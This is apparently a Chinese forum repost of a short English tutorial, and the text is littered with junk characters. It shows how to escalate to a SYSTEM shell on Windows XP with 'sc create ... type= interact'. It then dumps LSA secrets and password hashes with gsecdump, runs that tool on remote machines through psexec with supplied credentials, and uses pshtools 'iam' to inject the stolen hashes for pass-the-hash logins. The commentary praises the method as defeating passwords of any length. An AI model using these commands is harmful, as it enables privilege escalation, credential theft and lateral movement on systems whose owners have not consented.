HASH注入式攻击

admin

o get a DOS Prompt as NT system:
. d& W; R6 F, g% N' A
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
: B* _1 n$ ]3 y+ A! z# g[SC] CreateService SUCCESS
5 s$ k' w+ c- c& K: G+ v. I& M# o
5 O4 K# i" l, `# r: ~- O- tC:\>sc start shellcmdline
[SC] StartService FAILED 1053:

) x$ O  e; P( A! e4 aThe service did not respond to the start or control request in a timely fashion.

% y6 d0 ~0 }" L2 N) eC:\>sc delete shellcmdline
0 N* p3 Q* X1 @7 x- v- ~[SC] DeleteService SUCCESS
: \$ x, k+ h3 t# R$ W
------------

Then in the new DOS window:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
4 R- h# L( `9 Y
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
( o# S) y7 ~8 z0 Z6 G/ ~! N
$ i" S$ W! P! @  Q: mC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

2 K! M- m" L- x/ koptions:
% K# \" {0 L- o$ r  H-h [ --help ] show help
  I9 J& W; \% `9 R1 g-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

7 E* h' h/ I8 a2 j* A. {, c# `4 P4 i4 lAlthough I like to use:
) l6 j/ o9 t( p4 H7 g. W
/ T8 h$ P2 ^" ^& l) a3 V* v5 NPsExec v1.83 - Execute processes remotely
6 x) o3 l# R8 V+ L- ECopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
) ^8 U9 Y6 V7 R
0 V" ~; s# S* h! x( _9 rC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.

! w  B: ~/ U$ Q" n  `: GThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
, P6 t% T- C+ C1 N- Q
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
1 k1 f0 M/ R/ A8 S原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。